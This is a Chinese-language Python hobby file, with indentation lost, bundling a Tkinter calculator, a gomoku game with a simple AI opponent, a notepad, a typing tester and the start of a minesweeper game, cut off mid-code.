代码
'''
有两段代码
'''
'''
main.py
'''
from __future__ import division
import tkinter as tk
import os
from pygame.locals import *
from tkinter import *
from tkinter.filedialog import *
from tkinter.messagebox import *
import os
from tkinter import *
import random
import string
from datetime import datetime
from PyQt5.QtGui import *
from PyQt5.QtWidgets import *
from PyQt5.QtCore import *
import random
import time
from pygame.locals import *
import pygame
from random import choice
import time
import sys
import copy
import sys
import math
import random
import time
from collections import deque
from pyglet import image
from pyglet.gl import *
from pyglet.graphics import TextureGroup
from pyglet.window import key, mouse
from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog # 在Gui中打开文件浏览
import tkinter.messagebox # 打开tkiner的消息提醒框
import pygame
import sys
import random as ra
from pygame.locals import *
import pygame
from plane_sprites import *
from pygame.locals import *
xin = tk.Tk()
xin.title('my game')
xin.geometry('500x350+200+150')
def my1():
import math
import tkinter.messagebox
class Calculator(object):
# 界面布局方法
def __init__(self):
# 创建主界面,并且保存到成员属性中
self.root = tkinter.Tk()
self.root.minsize(280, 450)
self.root.maxsize(280, 470)
self.root.title('计算器')
# 设置显式面板的变量
self.result = tkinter.StringVar()
self.result.set(0)
# 设置一个全局变量 运算数字和f符号的列表
self.lists = []
# 添加一个用于判断是否按下运算符号的标志
self.ispresssign = False
# 界面布局
self.menus()
self.layout()
self.root.mainloop()
# 计算器菜单界面摆放
def menus(self):
# 添加菜单
# 创建总菜单
allmenu = tkinter.Menu(self.root)
# 添加子菜单
filemenu = tkinter.Menu(allmenu, tearoff=0)
# 添加选项卡
filemenu.add_command(
label='标准型(T) Alt+1', command=self.myfunc)
filemenu.add_command(
label='科学型(S) Alt+2', command=self.myfunc)
filemenu.add_command(
label='程序员(P) Alt+3', command=self.myfunc)
filemenu.add_command(label='统计信息(A) Alt+4', command=self.myfunc)
# 添加分割线
filemenu.add_separator()
# 添加选项卡
filemenu.add_command(label='历史记录(Y) Ctrl+H', command=self.myfunc)
filemenu.add_command(label='数字分组(I)', command=self.myfunc)
# 添加分割线
filemenu.add_separator()
# 添加选项卡
filemenu.add_command(
label='基本(B) Ctrl+F4', command=self.myfunc)
filemenu.add_command(label='单位转换(U) Ctrl+U', command=self.myfunc)
filemenu.add_command(label='日期计算(D) Ctrl+E', command=self.myfunc)
menu1 = tkinter.Menu(filemenu, tearoff=0)
menu1.add_command(label='抵押(M)', command=self.myfunc)
menu1.add_command(label='汽车租赁(V)', command=self.myfunc)
menu1.add_command(label='油耗(mpg)(F)', command=self.myfunc)
menu1.add_command(label='油耗(l/100km)(U)', command=self.myfunc)
filemenu.add_cascade(label='工作表(W)', menu=menu1)
allmenu.add_cascade(label='查看(V)', menu=filemenu)
# 添加子菜单2
editmenu = tkinter.Menu(allmenu, tearoff=0)
# 添加选项卡
editmenu.add_command(label='复制(C) Ctrl+C', command=self.myfunc)
editmenu.add_command(label='粘贴(V) Ctrl+V', command=self.myfunc)
# 添加分割线
editmenu.add_separator()
# 添加选项卡
menu2 = tkinter.Menu(filemenu, tearoff=0)
menu2.add_command(label='复制历史记录(I)', command=self.myfunc)
menu2.add_command(
label='编辑(E) F2', command=self.myfunc)
menu2.add_command(label='取消编辑(N) Esc', command=self.myfunc)
menu2.add_command(label='清除(L) Ctrl+Shift+D', command=self.myfunc)
editmenu.add_cascade(label='历史记录(H)', menu=menu2)
allmenu.add_cascade(label='编辑(E)', menu=editmenu)
self.root.config(menu=allmenu)
# 计算器主界面摆放
def layout(self):
# 显示屏
result = tkinter.StringVar()
result.set(0)
show_label = tkinter.Label(self.root, bd=3, bg='white', font=(
'宋体', 30), anchor='e', textvariable=self.result)
show_label.place(x=5, y=20, width=270, height=70)
# 功能按钮MC
button_mc = tkinter.Button(self.root, text='MC', command=self.wait)
button_mc.place(x=5, y=95, width=50, height=50)
# 功能按钮MR
button_mr = tkinter.Button(self.root, text='MR', command=self.wait)
button_mr.place(x=60, y=95, width=50, height=50)
# 功能按钮MS
button_ms = tkinter.Button(self.root, text='MS', command=self.wait)
button_ms.place(x=115, y=95, width=50, height=50)
# 功能按钮M+
button_mjia = tkinter.Button(self.root, text='M+', command=self.wait)
button_mjia.place(x=170, y=95, width=50, height=50)
# 功能按钮M-
button_mjian = tkinter.Button(self.root, text='M-', command=self.wait)
button_mjian.place(x=225, y=95, width=50, height=50)
# 功能按钮←
button_zuo = tkinter.Button(self.root, text='←', command=self.dele_one)
button_zuo.place(x=5, y=150, width=50, height=50)
# 功能按钮CE
button_ce = tkinter.Button(
self.root, text='CE', command=lambda: self.result.set(0))
button_ce.place(x=60, y=150, width=50, height=50)
# 功能按钮C
button_c = tkinter.Button(self.root, text='C', command=self.sweeppress)
button_c.place(x=115, y=150, width=50, height=50)
# 功能按钮±
button_zf = tkinter.Button(self.root, text='±', command=self.zf)
button_zf.place(x=170, y=150, width=50, height=50)
# 功能按钮√
button_kpf = tkinter.Button(self.root, text='√', command=self.kpf)
button_kpf.place(x=225, y=150, width=50, height=50)
# 数字按钮7
button_7 = tkinter.Button(
self.root, text='7', command=lambda: self.pressnum('7'))
button_7.place(x=5, y=205, width=50, height=50)
# 数字按钮8
button_8 = tkinter.Button(
self.root, text='8', command=lambda: self.pressnum('8'))
button_8.place(x=60, y=205, width=50, height=50)
# 数字按钮9
button_9 = tkinter.Button(
self.root, text='9', command=lambda: self.pressnum('9'))
button_9.place(x=115, y=205, width=50, height=50)
# 功能按钮/
button_division = tkinter.Button(
self.root, text='/', command=lambda: self.presscalculate('/'))
button_division.place(x=170, y=205, width=50, height=50)
# 功能按钮%
button_remainder = tkinter.Button(
self.root, text='//', command=lambda: self.presscalculate('//'))
button_remainder.place(x=225, y=205, width=50, height=50)
# 数字按钮4
button_4 = tkinter.Button(
self.root, text='4', command=lambda: self.pressnum('4'))
button_4.place(x=5, y=260, width=50, height=50)
# 数字按钮5
button_5 = tkinter.Button(
self.root, text='5', command=lambda: self.pressnum('5'))
button_5.place(x=60, y=260, width=50, height=50)
# 数字按钮6
button_6 = tkinter.Button(
self.root, text='6', command=lambda: self.pressnum('6'))
button_6.place(x=115, y=260, width=50, height=50)
# 功能按钮*
button_multiplication = tkinter.Button(
self.root, text='*', command=lambda: self.presscalculate('*'))
button_multiplication.place(x=170, y=260, width=50, height=50)
# 功能按钮1/x
button_reciprocal = tkinter.Button(
self.root, text='1/x', command=self.ds)
button_reciprocal.place(x=225, y=260, width=50, height=50)
# 数字按钮1
button_1 = tkinter.Button(
self.root, text='1', command=lambda: self.pressnum('1'))
button_1.place(x=5, y=315, width=50, height=50)
# 数字按钮2
button_2 = tkinter.Button(
self.root, text='2', command=lambda: self.pressnum('2'))
button_2.place(x=60, y=315, width=50, height=50)
# 数字按钮3
button_3 = tkinter.Button(
self.root, text='3', command=lambda: self.pressnum('3'))
button_3.place(x=115, y=315, width=50, height=50)
# 功能按钮-
button_subtraction = tkinter.Button(
self.root, text='-', command=lambda: self.presscalculate('-'))
button_subtraction.place(x=170, y=315, width=50, height=50)
# 功能按钮=
button_equal = tkinter.Button(
self.root, text='=', command=lambda: self.pressequal())
button_equal.place(x=225, y=315, width=50, height=105)
# 数字按钮0
button_0 = tkinter.Button(
self.root, text='0', command=lambda: self.pressnum('0'))
button_0.place(x=5, y=370, width=105, height=50)
# 功能按钮.
button_point = tkinter.Button(
self.root, text='.', command=lambda: self.pressnum('.'))
button_point.place(x=115, y=370, width=50, height=50)
# 功能按钮+
button_plus = tkinter.Button(
self.root, text='+', command=lambda: self.presscalculate('+'))
button_plus.place(x=170, y=370, width=50, height=50)
# 计算器菜单功能
def myfunc(self):
tkinter.messagebox.showinfo('', '预留接口,没开发 1.0版本 黄悟逸开发')
# 数字方法
def pressnum(self, num):
# 全局化变量
# 判断是否按下了运算符号
if self.ispresssign == False:
pass
else:
self.result.set(0)
# 重置运算符号的状态
self.ispresssign = False
if num == '.':
num = '0.'
# 获取面板中的原有数字
oldnum = self.result.get()
# 判断界面数字是否为0
if oldnum == '0':
self.result.set(num)
else:
# 连接上新按下的数字
newnum = oldnum + num
# 将按下的数字写到面板中
self.result.set(newnum)
# 运算函数
def presscalculate(self, sign):
# 保存已经按下的数字和运算符号
# 获取界面数字
num = self.result.get()
self.lists.append(num)
# 保存按下的操作符号
self.lists.append(sign)
# 设置运算符号为按下状态
self.ispresssign = True
# 获取运算结果
def pressequal(self):
# 获取所有的列表中的内容(之前的数字和操作)
# 获取当前界面上的数字
curnum = self.result.get()
# 将当前界面的数字存入列表
self.lists.append(curnum)
# 将列表转化为字符串
calculatestr = ''.join(self.lists)
# 使用eval执行字符串中的运算即可
endnum = eval(calculatestr)
# 将运算结果显示在界面中
self.result.set(str(endnum)[:10])
if self.lists != 0:
self.ispresssign = True
# 清空运算列表
self.lists.clear()
# 暂未开发说明
def wait(self):
tkinter.messagebox.showinfo('', '更新中......')
# ←按键功能
def dele_one(self):
if self.result.get() == '' or self.result.get() == '0':
self.result.set('0')
return
else:
num = len(self.result.get())
if num > 1:
strnum = self.result.get()
strnum = strnum[0:num - 1]
self.result.set(strnum)
else:
self.result.set('0')
# ±按键功能
def zf(self):
strnum = self.result.get()
if strnum[0] == '-':
self.result.set(strnum[1:])
elif strnum[0] != '-' and strnum != '0':
self.result.set('-' + strnum)
# 1/x按键功能
def ds(self):
dsnum = 1 / int(self.result.get())
self.result.set(str(dsnum)[:10])
if self.lists != 0:
self.ispresssign = True
# 清空运算列表
self.lists.clear()
# C按键功能
def sweeppress(self):
self.lists.clear()
self.result.set(0)
# √按键功能
def kpf(self):
strnum = float(self.result.get())
endnum = math.sqrt(strnum)
if str(endnum)[-1] == '0':
self.result.set(str(endnum)[:-2])
else:
self.result.set(str(endnum)[:10])
if self.lists != 0:
self.ispresssign = True
# 清空运算列表
self.lists.clear()
# 实例化对象
my_calculator = Calculator()
def my2():
"""五子棋之人机对战"""
import sys
import random
import pygame
import pygame.gfxdraw
from collections import namedtuple
Chessman = namedtuple('Chessman', 'Name Value Color')
Point = namedtuple('Point', 'X Y')
BLACK_CHESSMAN = Chessman('黑子', 1, (45, 45, 45))
WHITE_CHESSMAN = Chessman('白子', 2, (219, 219, 219))
offset = [(1, 0), (0, 1), (1, 1), (1, -1)]
class Checkerboard:
def __init__(self, line_points):
self._line_points = line_points
self._checkerboard = [[0] * line_points for _ in range(line_points)]
def _get_checkerboard(self):
return self._checkerboard
checkerboard = property(_get_checkerboard)
# 判断是否可落子
def can_drop(self, point):
return self._checkerboard[point.Y][point.X] == 0
def drop(self, chessman, point):
"""
落子
:param chessman:
:param point:落子位置
:return:若该子落下之后即可获胜,则返回获胜方,否则返回 None
"""
# 把黑棋/白棋落子的坐标打印出来
print(f'{chessman.Name} ({point.X}, {point.Y})')
self._checkerboard[point.Y][point.X] = chessman.Value
# 打印获胜方出来
if self._win(point):
print(f'{chessman.Name}获胜')
return chessman
def _win(self, point):
cur_value = self._checkerboard[point.Y][point.X]
for os in offset:
if self._get_count_on_direction(point, cur_value, os[0], os[1]):
return True
# 判断是否赢了的代码,从这里往上看,代码都是正着写,反着看,写代码思路缺什么补什么,所以从这里开始看
# 声明一个函数,按方向数数,数满5个就获胜。
# 一个二维坐标上,判断上下、左右、两个45度直线,是否有五个相同的直连棋子,只要满足五颗子,则游戏结束:
def _get_count_on_direction(self, point, value, x_offset, y_offset):
count = 1
for step in range(1, 5):
x = point.X + step * x_offset
y = point.Y + step * y_offset
if 0 <= x < self._line_points and 0 <= y < self._line_points and self._checkerboard[y][x] == value:
count += 1
else:
break
for step in range(1, 5):
x = point.X - step * x_offset
y = point.Y - step * y_offset
if 0 <= x < self._line_points and 0 <= y < self._line_points and self._checkerboard[y][x] == value:
count += 1
else:
break
return count >= 5
SIZE = 30 # 棋盘每个点时间的间隔
Line_Points = 19 # 棋盘每行/每列点数
Outer_Width = 20 # 棋盘外宽度
Border_Width = 4 # 边框宽度
Inside_Width = 4 # 边框跟实际的棋盘之间的间隔
Border_Length = SIZE * (Line_Points - 1) + Inside_Width * 2 + Border_Width # 边框线的长度
Start_X = Start_Y = Outer_Width + int(Border_Width / 2) + Inside_Width # 网格线起点(左上角)坐标
SCREEN_HEIGHT = SIZE * (Line_Points - 1) + Outer_Width * 2 + Border_Width + Inside_Width * 2 # 游戏屏幕的高
SCREEN_WIDTH = SCREEN_HEIGHT + 200 # 游戏屏幕的宽
Stone_Radius = SIZE // 2 - 3 # 棋子半径
Stone_Radius2 = SIZE // 2 + 3
Checkerboard_Color = (0xE3, 0x92, 0x65) # 棋盘颜色,0x是16进制表示哦
BLACK_COLOR = (0, 0, 0)
WHITE_COLOR = (255, 255, 255)
RED_COLOR = (200, 30, 30)
BLUE_COLOR = (30, 30, 200)
RIGHT_INFO_POS_X = SCREEN_HEIGHT + Stone_Radius2 * 2 + 10
def print_text(screen, font, x, y, text, fcolor=(255, 255, 255)):
imgText = font.render(text, True, fcolor)
screen.blit(imgText, (x, y))
def main():
pygame.init()
screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))
pygame.display.set_caption('五子棋')
font1 = pygame.font.SysFont('SimHei', 32) # 字体:黑体,32号
font2 = pygame.font.SysFont('SimHei', 72) # 字体:黑体,72号
fwidth, fheight = font2.size('黑方获胜')
checkerboard = Checkerboard(Line_Points)
cur_runner = BLACK_CHESSMAN
winner = None
computer = AI(Line_Points, WHITE_CHESSMAN)
# 设置黑白双方初始连子为0
black_win_count = 0
white_win_count = 0
while True:
for event in pygame.event.get():
if event.type == QUIT:
sys.exit()
elif event.type == KEYDOWN:
if event.key == K_RETURN:
if winner is not None:
winner = None
cur_runner = BLACK_CHESSMAN
checkerboard = Checkerboard(Line_Points)
computer = AI(Line_Points, WHITE_CHESSMAN)
elif event.type == MOUSEBUTTONDOWN: # 检测鼠标落下
if winner is None: # 检测是否有一方胜出
pressed_array = pygame.mouse.get_pressed()
if pressed_array[0]:
mouse_pos = pygame.mouse.get_pos()
click_point = _get_clickpoint(mouse_pos)
if click_point is not None: # 检测鼠标是否在棋盘内点击
if checkerboard.can_drop(click_point):
winner = checkerboard.drop(cur_runner, click_point)
if winner is None: # 再次判断是否有胜出
# 一个循环内检测两次,意思就是人出一次检测一下,电脑出一次检测一下。
cur_runner = _get_next(cur_runner)
computer.get_opponent_drop(click_point)
AI_point = computer.AI_drop()
winner = checkerboard.drop(cur_runner, AI_point)
if winner is not None:
white_win_count += 1
cur_runner = _get_next(cur_runner)
else:
black_win_count += 1
else:
print('超出棋盘区域')
# 画棋盘
_draw_checkerboard(screen)
# 画棋盘上已有的棋子
for i, row in enumerate(checkerboard.checkerboard):
for j, cell in enumerate(row):
if cell == BLACK_CHESSMAN.Value:
_draw_chessman(screen, Point(j, i), BLACK_CHESSMAN.Color)
elif cell == WHITE_CHESSMAN.Value:
_draw_chessman(screen, Point(j, i), WHITE_CHESSMAN.Color)
_draw_left_info(screen, font1, cur_runner, black_win_count, white_win_count)
if winner:
print_text(screen, font2, (SCREEN_WIDTH - fwidth) // 2, (SCREEN_HEIGHT - fheight) // 2, winner.Name + '获胜',
RED_COLOR)
pygame.display.flip()
def _get_next(cur_runner):
if cur_runner == BLACK_CHESSMAN:
return WHITE_CHESSMAN
else:
return BLACK_CHESSMAN
# 画棋盘
def _draw_checkerboard(screen):
# 填充棋盘背景色
screen.fill(Checkerboard_Color)
# 画棋盘网格线外的边框
pygame.draw.rect(screen, BLACK_COLOR, (Outer_Width, Outer_Width, Border_Length, Border_Length), Border_Width)
# 画网格线
for i in range(Line_Points):
pygame.draw.line(screen, BLACK_COLOR,
(Start_Y, Start_Y + SIZE * i),
(Start_Y + SIZE * (Line_Points - 1), Start_Y + SIZE * i),
1)
for j in range(Line_Points):
pygame.draw.line(screen, BLACK_COLOR,
(Start_X + SIZE * j, Start_X),
(Start_X + SIZE * j, Start_X + SIZE * (Line_Points - 1)),
1)
# 画星位和天元
for i in (3, 9, 15):
for j in (3, 9, 15):
if i == j == 9:
radius = 5
else:
radius = 3
# pygame.draw.circle(screen, BLACK, (Start_X + SIZE * i, Start_Y + SIZE * j), radius)
pygame.gfxdraw.aacircle(screen, Start_X + SIZE * i, Start_Y + SIZE * j, radius, BLACK_COLOR)
pygame.gfxdraw.filled_circle(screen, Start_X + SIZE * i, Start_Y + SIZE * j, radius, BLACK_COLOR)
# 画棋子
def _draw_chessman(screen, point, stone_color):
# pygame.draw.circle(screen, stone_color, (Start_X + SIZE * point.X, Start_Y + SIZE * point.Y), Stone_Radius)
pygame.gfxdraw.aacircle(screen, Start_X + SIZE * point.X, Start_Y + SIZE * point.Y, Stone_Radius, stone_color)
pygame.gfxdraw.filled_circle(screen, Start_X + SIZE * point.X, Start_Y + SIZE * point.Y, Stone_Radius, stone_color)
# 画右侧信息显示
def _draw_left_info(screen, font, cur_runner, black_win_count, white_win_count):
_draw_chessman_pos(screen, (SCREEN_HEIGHT + Stone_Radius2, Start_X + Stone_Radius2), BLACK_CHESSMAN.Color)
_draw_chessman_pos(screen, (SCREEN_HEIGHT + Stone_Radius2, Start_X + Stone_Radius2 * 4), WHITE_CHESSMAN.Color)
print_text(screen, font, RIGHT_INFO_POS_X, Start_X + 3, '玩家', BLUE_COLOR)
print_text(screen, font, RIGHT_INFO_POS_X, Start_X + Stone_Radius2 * 3 + 3, '电脑', BLUE_COLOR)
print_text(screen, font, SCREEN_HEIGHT, SCREEN_HEIGHT - Stone_Radius2 * 8, '战况:', BLUE_COLOR)
_draw_chessman_pos(screen, (SCREEN_HEIGHT + Stone_Radius2, SCREEN_HEIGHT - int(Stone_Radius2 * 4.5)),
BLACK_CHESSMAN.Color)
_draw_chessman_pos(screen, (SCREEN_HEIGHT + Stone_Radius2, SCREEN_HEIGHT - Stone_Radius2 * 2), WHITE_CHESSMAN.Color)
print_text(screen, font, RIGHT_INFO_POS_X, SCREEN_HEIGHT - int(Stone_Radius2 * 5.5) + 3, f'{black_win_count} 胜',
BLUE_COLOR)
print_text(screen, font, RIGHT_INFO_POS_X, SCREEN_HEIGHT - Stone_Radius2 * 3 + 3, f'{white_win_count} 胜',
BLUE_COLOR)
def _draw_chessman_pos(screen, pos, stone_color):
pygame.gfxdraw.aacircle(screen, pos[0], pos[1], Stone_Radius2, stone_color)
pygame.gfxdraw.filled_circle(screen, pos[0], pos[1], Stone_Radius2, stone_color)
# 根据鼠标点击位置,返回游戏区坐标
def _get_clickpoint(click_pos):
pos_x = click_pos[0] - Start_X
pos_y = click_pos[1] - Start_Y
if pos_x < -Inside_Width or pos_y < -Inside_Width:
return None
x = pos_x // SIZE
y = pos_y // SIZE
if pos_x % SIZE > Stone_Radius:
x += 1
if pos_y % SIZE > Stone_Radius:
y += 1
if x >= Line_Points or y >= Line_Points:
return None
return Point(x, y)
class AI:
def __init__(self, line_points, chessman):
self._line_points = line_points
self._my = chessman
self._opponent = BLACK_CHESSMAN if chessman == WHITE_CHESSMAN else WHITE_CHESSMAN
self._checkerboard = [[0] * line_points for _ in range(line_points)]
def get_opponent_drop(self, point):
self._checkerboard[point.Y][point.X] = self._opponent.Value
def AI_drop(self):
point = None
score = 0
for i in range(self._line_points):
for j in range(self._line_points):
if self._checkerboard[j][i] == 0:
_score = self._get_point_score(Point(i, j))
if _score > score:
score = _score
point = Point(i, j)
elif _score == score and _score > 0:
r = random.randint(0, 100)
if r % 2 == 0:
point = Point(i, j)
self._checkerboard[point.Y][point.X] = self._my.Value
return point
def _get_point_score(self, point):
score = 0
for os in offset:
score += self._get_direction_score(point, os[0], os[1])
return score
def _get_direction_score(self, point, x_offset, y_offset):
count = 0 # 落子处我方连续子数
_count = 0 # 落子处对方连续子数
space = None # 我方连续子中有无空格
_space = None # 对方连续子中有无空格
both = 0 # 我方连续子两端有无阻挡
_both = 0 # 对方连续子两端有无阻挡
# 如果是 1 表示是边上是我方子,2 表示敌方子
flag = self._get_stone_color(point, x_offset, y_offset, True)
if flag != 0:
for step in range(1, 6):
x = point.X + step * x_offset
y = point.Y + step * y_offset
if 0 <= x < self._line_points and 0 <= y < self._line_points:
if flag == 1:
if self._checkerboard[y][x] == self._my.Value:
count += 1
if space is False:
space = True
elif self._checkerboard[y][x] == self._opponent.Value:
_both += 1
break
else:
if space is None:
space = False
else:
break # 遇到第二个空格退出
elif flag == 2:
if self._checkerboard[y][x] == self._my.Value:
_both += 1
break
elif self._checkerboard[y][x] == self._opponent.Value:
_count += 1
if _space is False:
_space = True
else:
if _space is None:
_space = False
else:
break
else:
# 遇到边也就是阻挡
if flag == 1:
both += 1
elif flag == 2:
_both += 1
if space is False:
space = None
if _space is False:
_space = None
_flag = self._get_stone_color(point, -x_offset, -y_offset, True)
if _flag != 0:
for step in range(1, 6):
x = point.X - step * x_offset
y = point.Y - step * y_offset
if 0 <= x < self._line_points and 0 <= y < self._line_points:
if _flag == 1:
if self._checkerboard[y][x] == self._my.Value:
count += 1
if space is False:
space = True
elif self._checkerboard[y][x] == self._opponent.Value:
_both += 1
break
else:
if space is None:
space = False
else:
break # 遇到第二个空格退出
elif _flag == 2:
if self._checkerboard[y][x] == self._my.Value:
_both += 1
break
elif self._checkerboard[y][x] == self._opponent.Value:
_count += 1
if _space is False:
_space = True
else:
if _space is None:
_space = False
else:
break
else:
# 遇到边也就是阻挡
if _flag == 1:
both += 1
elif _flag == 2:
_both += 1
score = 0
if count == 4:
score = 10000
elif _count == 4:
score = 9000
elif count == 3:
if both == 0:
score = 1000
elif both == 1:
score = 100
else:
score = 0
elif _count == 3:
if _both == 0:
score = 900
elif _both == 1:
score = 90
else:
score = 0
elif count == 2:
if both == 0:
score = 100
elif both == 1:
score = 10
else:
score = 0
elif _count == 2:
if _both == 0:
score = 90
elif _both == 1:
score = 9
else:
score = 0
elif count == 1:
score = 10
elif _count == 1:
score = 9
else:
score = 0
if space or _space:
score /= 2
return score
# 判断指定位置处在指定方向上是我方子、对方子、空
def _get_stone_color(self, point, x_offset, y_offset, next):
x = point.X + x_offset
y = point.Y + y_offset
if 0 <= x < self._line_points and 0 <= y < self._line_points:
if self._checkerboard[y][x] == self._my.Value:
return 1
elif self._checkerboard[y][x] == self._opponent.Value:
return 2
else:
if next:
return self._get_stone_color(Point(x, y), x_offset, y_offset, False)
else:
return 0
else:
return 0
if __name__ == '__main__':
main()
def my3():
filename = ""
def author():
showinfo(title="作者", message="黄悟逸")
def power():
showinfo(title="版权信息", message="我的作品")
def mynew():
global top, filename, textPad
top.title("未命名文件")
filename = None
textPad.delete(1.0, END)
def myopen():
global filename
filename = askopenfilename(defaultextension=".txt")
if filename == "":
filename = None
else:
top.title("记事本" + os.path.basename(filename))
textPad.delete(1.0, END)
f = open(filename, 'r')
textPad.insert(1.0, f.read())
f.close()
def mysave():
global filename
try:
f = open(filename, 'w')
msg = textPad.get(1.0, 'end')
f.write(msg)
f.close()
except:
mysaveas()
def mysaveas():
global filename
f = asksaveasfilename(initialfile="未命名.txt", defaultextension=".txt")
filename = f
fh = open(f, 'w')
msg = textPad.get(1.0, END)
fh.write(msg)
fh.close()
top.title("记事本 " + os.path.basename(f))
def cut():
global textPad
textPad.event_generate("<<Cut>>")
def copy():
global textPad
textPad.event_generate("<<Copy>>")
def paste():
global textPad
textPad.event_generate("<<Paste>>")
def undo():
global textPad
textPad.event_generate("<<Undo>>")
def redo():
global textPad
textPad.event_generate("<<Redo>>")
def select_all():
global textPad
# textPad.event_generate("<<Cut>>")
textPad.tag_add("sel", "1.0", "end")
def find():
t = Toplevel(top)
t.title("查找")
t.geometry("260x60+200+250")
t.transient(top)
Label(t, text="查找:").grid(row=0, column=0, sticky="e")
v = StringVar()
e = Entry(t, width=20, textvariable=v)
e.grid(row=0, column=1, padx=2, pady=2, sticky="we")
e.focus_set()
c = IntVar()
Checkbutton(t, text="不区分大小写", variable=c).grid(row=1, column=1, sticky='e')
Button(t, text="查找所有", command=lambda: search(v.get(), c.get(),
textPad, t, e)).grid(row=0, column=2, sticky="e" + "w", padx=2,
pady=2)
def close_search():
textPad.tag_remove("match", "1.0", END)
t.destroy()
t.protocol("WM_DELETE_WINDOW", close_search)
def mypopup(event):
# global editmenu
editmenu.tk_popup(event.x_root, event.y_root)
def search(needle, cssnstv, textPad, t, e):
textPad.tag_remove("match", "1.0", END)
count = 0
if needle:
pos = "1.0"
while True:
pos = textPad.search(needle, pos, nocase=cssnstv, stopindex=END)
if not pos:
break
lastpos = pos + str(len(needle))
textPad.tag_add("match", pos, lastpos)
count += 1
pos = lastpos
textPad.tag_config('match', fg='yellow', bg="green")
e.focus_set()
t.title(str(count) + "个被匹配")
top = Tk()
top.title("记事本")
top.geometry("600x400+100+50")
menubar = Menu(top)
# 文件功能
filemenu = Menu(top)
filemenu.add_command(label="新建", accelerator="Ctrl+N", command=mynew)
filemenu.add_command(label="打开", accelerator="Ctrl+O", command=myopen)
filemenu.add_command(label="保存", accelerator="Ctrl+S", command=mysave)
filemenu.add_command(label="另存为", accelerator="Ctrl+shift+s", command=mysaveas)
menubar.add_cascade(label="文件", menu=filemenu)
# 编辑功能
editmenu = Menu(top)
editmenu.add_command(label="撤销", accelerator="Ctrl+Z", command=undo)
editmenu.add_command(label="重做", accelerator="Ctrl+Y", command=redo)
editmenu.add_separator()
editmenu.add_command(label="剪切", accelerator="Ctrl+X", command=cut)
editmenu.add_command(label="复制", accelerator="Ctrl+C", command=copy)
editmenu.add_command(label="粘贴", accelerator="Ctrl+V", command=paste)
editmenu.add_separator()
editmenu.add_command(label="查找", accelerator="Ctrl+F", command=find)
editmenu.add_command(label="全选", accelerator="Ctrl+A", command=select_all)
menubar.add_cascade(label="编辑", menu=editmenu)
# 关于 功能
aboutmenu = Menu(top)
aboutmenu.add_command(label="作者", command=author)
aboutmenu.add_command(label="版权", command=power)
menubar.add_cascade(label="关于", menu=aboutmenu)
top['menu'] = menubar
# shortcutbar = Frame(top, height=25, bg='light sea green')
# shortcutbar.pack(expand=NO, fill=X)
# Inlabe = Label(top, width=2, bg='antique white')
# Inlabe.pack(side=LEFT, anchor='nw', fill=Y)
textPad = Text(top, undo=True)
textPad.pack(expand=YES, fill=BOTH)
scroll = Scrollbar(textPad)
textPad.config(yscrollcommand=scroll.set)
scroll.config(command=textPad.yview)
scroll.pack(side=RIGHT, fill=Y)
# 热键绑定
textPad.bind("<Control-N>", mynew)
textPad.bind("<Control-n>", mynew)
textPad.bind("<Control-O>", myopen)
textPad.bind("<Control-o>", myopen)
textPad.bind("<Control-S>", mysave)
textPad.bind("<Control-s>", mysave)
textPad.bind("<Control-A>", select_all)
textPad.bind("<Control-a>", select_all)
textPad.bind("<Control-F>", find)
textPad.bind("<Control-f>", find)
textPad.bind("<Button-3>", mypopup)
top.mainloop()
def my4():
root = Tk()
root.title("Python打字练习小程序")
Label(root, text='系统题目:').grid(row=0)
Label(root, text='用户作答:').grid(row=1)
Label(root, text='考试结果:').grid(row=2)
v1 = StringVar()
v2 = StringVar()
v3 = StringVar()
v1.set("点击'开始测试'按钮开始出题")
e1 = Entry(root, text=v1, state='disabled', width=40, font=('宋体', 14))
e2 = Entry(root, textvariable=v2, width=40, font=('宋体', 14))
e3 = Label(root, textvariable=v3, width=40, font=('宋体', 10), foreground='red')
e1.grid(row=0, column=1, padx=10, pady=20)
e2.grid(row=1, column=1, padx=10, pady=20)
e3.grid(row=2, column=1, padx=10, pady=20)
text = Text(root, width=80, height=7)
text.grid(row=4, column=0, columnspan=2, pady=5)
class TypingTest:
def __init__(self):
self.time_list = []
self.letterNum = 20
self.letterStr = ''.join(random.sample(
string.printable.split(' ')[0], self.letterNum))
self.examination_paper = ''
def time_calc(self):
self.time_list.append(datetime.now())
yield
def create_exam(self):
text.delete(0.0, END)
# e3.delete(0, END)
v1.set(self.letterStr)
self.time_calc().__next__()
text.insert(END, "开始:%s \n" % str(self.time_list[-1]))
user_only1.config(state='active')
def score(self):
wrong_index = []
self.time_calc().__next__()
text.insert(END, "结束:%s\n" % str(self.time_list[-1]))
use_time = (self.time_list[-1] - self.time_list[-2]).seconds
self.examination_paper = v2.get()
if len(self.examination_paper) > self.letterNum:
v3.set("输入数据有误,作答数大于考题数")
else:
right_num = 0
for z in range(len(self.examination_paper)):
if self.examination_paper[z] == self.letterStr[z]:
right_num += 1
else:
wrong_index.append(z)
if right_num == self.letterNum:
v3.set("完全正确,正确率%.2f%%用时:%s秒" %
((right_num * 1.0) / self.letterNum * 100, use_time))
else:
v3.set("正确率%.2f%%用时:%s 秒" %
((right_num * 1.0) / self.letterNum * 100, use_time))
# e2.delete(0, END)
text.insert(END, "题目:%s\n" % self.letterStr)
tag_info = list(map(lambda x: '4.' + str(x + 3), wrong_index))
text.insert(END, "作答:%s\n" % self.examination_paper)
for i in range(len(tag_info)):
text.tag_add("tag1", tag_info[i])
text.tag_config("tag1", background='red')
user_only1.config(state='disabled')
TypingTest = TypingTest()
Button(root, text="开始测试", width=10, command=TypingTest.create_exam).grid(
row=3, column=0, sticky=W, padx=30, pady=5)
user_only1 = Button(root, text="交卷", width=10,
command=TypingTest.score, state='disable')
user_only1.grid(row=3, column=1, sticky=E, padx=30, pady=5)
mainloop()
def my5():
IMG_BOMB = QImage("./images/bug.png")
IMG_FLAG = QImage("./images/flag.png")
IMG_START = QImage("./images/rocket.png")
IMG_CLOCK = QImage("./images/clock-select.png")
NUM_COLORS = {
1: QColor('#f44336'),
2: QColor('#9C27B0'),
3: QColor('#3F51B5'),
4: QColor('#03A9F4'),
5: QColor('#00BCD4'),
6: QColor('#4CAF50'),
7: QColor('#E91E63'),
8: QColor('#FF9800')
}
LEVELS = [
(8, 10),
(16, 40),
(24, 99)
]
STATUS_READY = 0
STATUS_PLAYING = 1
STATUS_FAILED = 2
STATUS_SUCCESS = 3
STATUS_ICONS = {
STATUS_READY: "./images/plus.png",
STATUS_PLAYING: "./images/smiley.png",
